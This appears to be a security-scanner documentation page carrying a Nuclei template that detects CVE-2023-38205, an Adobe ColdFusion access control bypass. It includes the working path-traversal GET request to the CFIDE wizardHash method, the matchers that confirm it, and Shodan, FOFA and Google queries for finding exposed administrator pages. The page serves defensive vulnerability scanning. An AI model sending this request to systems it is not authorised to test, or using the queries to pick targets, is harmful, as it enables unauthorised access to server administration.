Adobe ColdFusion - Access Control Bypass

ID: CVE-2023-38205

Severity: high

Author: DhiyaneshDk

Tags: cve2023,cve,adobe,auth-bypass,coldfusion,kev

Description

There is an access control bypass vulnerability in Adobe ColdFusion versions 2023 Update 2 and below, 2021 Update 8 and below and 2018 update 18 and below, which allows a remote attacker to bypass the ColdFusion mechanisms that restrict unauthenticated external access to ColdFusion’s Administrator.

YAML Source

id: CVE-2023-38205

info:
  name: Adobe ColdFusion - Access Control Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    There is an access control bypass vulnerability in Adobe ColdFusion versions 2023 Update 2 and below, 2021 Update 8 and below and 2018 update 18 and below, which allows a remote attacker to bypass the ColdFusion mechanisms that restrict unauthenticated external access to ColdFusion's Administrator.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass access controls and gain unauthorized access to sensitive information or perform unauthorized actions.
  remediation: |
    Apply the necessary security patches or updates provided by Adobe to mitigate this vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-47.html
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-38205
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.922
    epss-percentile: 0.98936
    cpe: cpe:2.3:a:adobe:coldfusion:2018:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - app="Adobe-ColdFusion"
      - app="adobe-coldfusion"
      - title="coldfusion administrator login"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2023,cve,adobe,auth-bypass,coldfusion,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - ([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}

      - type: dsl
        dsl:
          - contains(content_type, "text/html")
          - status_code == 200
          - len(trim_space(body)) == 106
        condition: and
# digest: 490a00463044022001fc7c941efca3301f8fd908bc8bbd4f177a9559e95a73bbf98545a047111c1c022037f7cef553173ada405ea1d57d4c6be93985bc6531a7ce3d38317690f1b256d9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-38205.yaml"

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